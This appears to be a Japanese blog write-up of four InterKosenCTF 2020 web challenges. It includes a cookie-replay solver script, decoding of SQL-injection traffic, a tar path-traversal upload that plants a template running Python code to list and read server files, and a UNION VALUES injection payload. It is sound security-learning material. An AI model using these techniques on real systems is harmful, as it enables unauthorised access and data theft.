InterKosenCTF 2020 WriteUp

2020/9/5 10:00から36h開催されたInterKosenCTFに、katagaitaiのメンバーとして初参戦しました。

結果

チームとしては5958ptsで5位でした。チームの方々が強すぎる…

個人としては1114pts(実質1014pts)で、Webのかんたん問題だけを貪っていた状態ですね。
純粋に力不足を感じました。

ところでこのCTF、作問者が3人で運営も3人だそうです。一体どうなっているんだ…

matsushima2 [Web, 121pts]

見覚えのある名前に見覚えのあるコンセプトですね。
どうやらSECCON 2018国内決勝のmatsushimaからきているようです。

matsushima はポーカーで、matsushima2 はブラックジャックです。
こいつはディーラーに勝てばチップが2倍、負ければ0。強制的に全額ベットという鬼畜モードで100チップを999999チップにする必要があります。

当然普通にプレイして偶然全勝することは不可能に近いので、ハックすることを目指します。

このwebアプリは matsushima クッキー(JWT)にゲームの途中経過が全て記録されており、そのクッキーをやり取りすることでゲームを進行します。

{
  "player": [
    31,
    40
  ],
  "dealer": [
    2
  ],
  "chip": 100,
  "player_score": 8,
  "dealer_score": 3,
  "cards": [
    3,
    43,
    ...(略)
  ]
}

JWT の署名は HS256 を指定されているため、改竄することはできませんが、途中経過のクッキーを控えておくことで、都合の悪いゲームを無効にしてやり直すことができます。

突貫で作ったソルバは以下の通り。

#!/bin/bash
​
jar='cookiejar.txt'
curlg="curl -c $jar -b $jar -Ls"
curlp="$curlg -X POST"
host='http://web.kosenctf.com:14001'
​
reset_cookie() {
        cp $jar.bak $jar
}
​
restore_cookie() {
        cp $jar $jar.bak
}
​
​
$curlp $host/initialize
restore_cookie
​
while true
do
        while true
        do
                score=$($curlp $host/hit | jq .player_score)
                if [[ $score -eq -1 ]]
                then
                        reset_cookie #hitでバーストしたら保存しておいたクッキーを復元してチップを復活させる
                elif [[ $score -ge 20 ]]
                then
                        break
                fi
        done
        chip=$($curlp $host/stand | jq .chip)
        echo "chip: $chip"
        if [[ $chip -eq 0 ]]
        then
                reset_cookie #チップが0になったらやり直し
        elif [[ $chip -gt 999999 ]]
        then
                break
        else
                $curlp $host/nextgame
                restore_cookie #ディーラに勝ったのでクッキーを保存しておく
        fi
done
$curlg $host/flag

Flag: KosenCTF{r3m3mb3r_m475u5him4}

limited [Web, Misc, 157]

pcapファイルが1つだけ渡されます。
HTTPリクエストをみると、SQLiを試行している記録であることがわかります。

GET /search.php?keyword=&search_max=(SELECT unicode(substr(secret, 1, 1)) FROM account WHERE name="admin") % 19 HTTP/1.1\r\n

このように、secret 列のn (=1) 文字目をunicodeの数値に変換して、m (=19) で割ったあまりの行数分がレスポンスとして返って (=search_max) くるように仕組んでいるようです。

なので、各リクエストのn, m, 返ってきた行数を記録していき、ソルバにぶん投げましょう。
フラグ内の文字は 0x21-0x7a と指定されているので、その範囲で探索すればokです。

def getnum(l,d):
    print(l)
    for n in range(0x21,  0x7a):
        flag=True
        for k,v in d.items():
            if n%k!=v:
                flag=False
                break
        if flag==True:
            return n
​
flag={
        # 指定がないので9文字目までは'KosenCTF{'確定
        10:{5:2,17:15,23:2},
        11:{19:0,7:4,3:2},
        12:{17:14,3:0,2:1,5:4},
        13:{23:6,7:3,5:2},
        14:{23:18,5:0,7:5},
        15:{23:3,7:4,2:1},
        16:{2:1,13:0,5:2,19:3},
        17:{13:11,19:1,3:1},
        18:{3:0,11:7,2:1,5:1},
        19:{2:1,17:10,23:3},
        20:{17:16,19:10},
        21:{17:14,7:5,13:4},
        22:{19:8,13:6,11:7},
        23:{2:1,3:2,19:0,5:0},
        24:{3:0,7:4,2:0,19:7},
        25:{5:3,13:9,17:14},
        26:{3:0,7:2,11:4,23:22},
        27:{17:10,5:0,7:4},
        28:{5:1,2:0,11:10,17:8},
        29:{19:16,7:3,23:4},
        30:{17:9,23:8},
        31:{13:8,17:5,11:7},
        32:{17:16,7:0,11:7},
        33:{17:10,5:0,2:1,11:7},
        34:{3:1,13:10,2:1,19:11},
        35:{5:0,13:6,11:0},
        36:{2:0,11:7,17:4},
        37:{7:2,5:1,17:0},
        38:{7:1,23:7,5:4},
        39:{7:4,11:6,19:2},
        40:{19:11,17:15},
        41:{2:0,3:0,19:10,13:9},
        42:{5:0,13:6,23:18},
        43:{5:0,17:10,19:0},
        44:{17:10,11:2,23:20},
        45:{13:9,3:0,19:10},
        46:{3:1,2:1,23:3,5:4},
        47:{19:15,11:0,17:8},
        48:{5:1,7:4,2:0,11:6},
        #49:{13:8,23:10} #間違いなく'}'(範囲外)なのでパス
}
​
print("".join([ chr(getnum(k,v)) for k,v in list(flag.items()) ]))

Flag: KosenCTF{u_c4n_us3_CRT_f0r_LIMIT_1nj3ct10n_p01nt}

miniblog [Web, 353pts]

ブログの記事だけでなく、テンプレートも自分で変更できるという良心的な(?)ブログサービスです。

ただし、SSTI防止のため、{{ }} を含む文字列には不正な文字がないかチェックが入っているほか、pythonのコードをそのまま仕込める % については使用を禁止されています。

@route("/update", method="POST")
def do_update_template():
    username = get_username()
    if not username:
        return abort(400)

    content = request.forms.get("content")
    if not content:
        return abort(400)

    if "%" in content:
        return abort(400, "forbidden")

    for brace in re.findall(r"{{.*?}}", content):
        if not re.match(r"{{!?[a-zA-Z0-9_]+}}", brace):
            return abort(400, "forbidden")

    template_path = "userdir/{userid}/template".format(userid=users[username]["id"])
    with open(template_path, "w") as f:
        f.write(content)

    redirect("/")

ところで、このサービスには画像などの添付を可能にするため、tarファイルのアップロードが許可されています。

@route("/upload", method="POST")
def do_upload():
    username = get_username()
    if not username:
        return abort(400)

    attachment = request.files.get("attachment")
    if not attachment:
        return abort(400)

    tarpath = 'tmp/{}'.format(uuid4().hex)
    attachments_dir = "userdir/{userid}/attachments/".format(userid=users[username]["id"])
    attachment.save(tarpath)
    try:
        tarfile.open(tarpath).extractall(path=attachments_dir)
    except (ValueError, RuntimeError):
        pass
    os.remove(tarpath)
    redirect("/")

ここで展開に使用されている Tarfile.extractall() は、ドキュメントの通り注意事項があります。

警告

内容を信頼できない tar アーカイブを、事前の内部チェック前に展開してはいけません。ファイルが path の外側に作られる可能性があります。例えば、"/" で始まる絶対パスのファイル名や、2 重ドット ".." で始まるパスのファイル名です。

https://docs.python.org/ja/3/library/tarfile.html#tarfile.TarFile.extractall

このプログラムではそのようなチェックが行われていないため、絶対パスやトラバーサルを駆使して悪さができそうです。
また、tar ファイルには symlink を仕込むことも可能なので、その辺りも有効活用できそうですね。

ここまでわかったところで結構迷いました(後述)が、最終的には以下の手順で攻略が完了します。

攻略の指針

先述の通り、正規の手段で SSTI 攻撃を行うテンプレートを送ることはできません。
そこで、展開先パスにディレクトリトラバーサルを仕掛けた不正テンプレートを tar でアップロードします。

初撃は以下のコードを仕込みます。

% import os
{{os.listdir(path='/')}}

これを含んだ template を以下の方法で tar に固めます。

tar cvf tarball.tar ../../(自分のID:32文字)/template 

そうすると以下のリストが帰ってきます。

['etc', 'bin', 'usr', 'run', 'opt', 'tmp', 'mnt', 'sbin', 'dev', 'lib', 'home', 'var', 'root', 'proc', 'srv', 'sys', 'media', 'miniblog', '.dockerenv', 'unpredicable_name_flag']

狙うべきファイルが見えました。
あとはこれを出力させるテンプレートを送れば完成です。

<%
f=open('/unpredicable_name_flag')
s=f.read()
f.close()
%>
{{s}}

Flag: KosenCTF{u_saw_th3_zip51ip_in_the_53CC0N_Beginn3r5_didn7?}

やっていたこと

tarの展開パスに .. が使えることに気づくまでは、ずっと symlink で狙いのファイルを一発で引くものだと思っていました。
そのため、 /proc/self/environ を読んだり、 /home/miniblog/flag.txt などを引っ張ろうとしていましたが、あえなく失敗しました。

just sqli [Web, 383pts]

問題文の通りですね。

<?php

$user = NULL;
$is_admin = 0;

if (isset($_GET["source"])) {
    highlight_file(__FILE__);
    exit;
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
    $username = $_POST["username"];
    $password = $_POST["password"];

    $db = new PDO("sqlite:../database.db");
    $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    try {
        $db->exec("CREATE TABLE IF NOT EXISTS users (username TEXT UNIQUE, password TEXT, is_admin BOOL);");

        $q = "username, is_admin FROM users WHERE username = '$username' AND password = '$password'";
        if (preg_match("/SELECT/i", $q)) {
            throw new Exception("only select is a forbidden word");
        }

        $rows = $db->query("SELECT " . $q, PDO::FETCH_ASSOC);
        foreach ($rows as $row) {
            $user = $row["username"];
            $is_admin = $row["is_admin"];
        }
    }
    catch (Exception $e) {
        exit("EXCEPTION!");
    }


}

?>

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Just SQLi</title>
</head>
<body>
    <h1>Just SQLi</h1>    
    <div><a href="?source=1">view source</a>

    <?php if ($user) { ?>
    <div>Nice Login <?= $user ?></div>
        <?php if ($is_admin) { ?>
        <div>And Nice to Get the Admin Permission!</div>
        <div> <?= include("../flag.php"); ?></div>
        <?php } ?>
    <?php } ?>

    <form action="" method="POST">
        <div>username: <input type="text" name="username" required></div>
        <div>password: <input type="text" name="password" required></div>

        <div>
            <input type="submit" value="Login">
        </div>
    </form>

</body>
</html>

ご丁寧に SELECT だけ禁止しています。
UNION が禁止されていないということは SQLite に 固定値を取得する抜け道でもあるのでしょうか。

ここで公式を調べて SELECT 構文の鉄道ダイアグラムを見ます。

syntax diagram select-stmt

(出典:https://sqlite.org/lang_select.html

VALUES という怪しいやつを発見。
調べると、SELECT を使わずに固定値を取得できるようです。

そうとわかれば超簡単ですね。

curl -F "username=a" -F "password=' UNION VALUES ('a', true) -- "  http://web.kosenctf.com:14003/

Flag: KosenCTF{d0_y0u_kn0w_that_the_w0rd_va1u35_can_b3_aft3r_un10n}

カテゴリー CTF

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です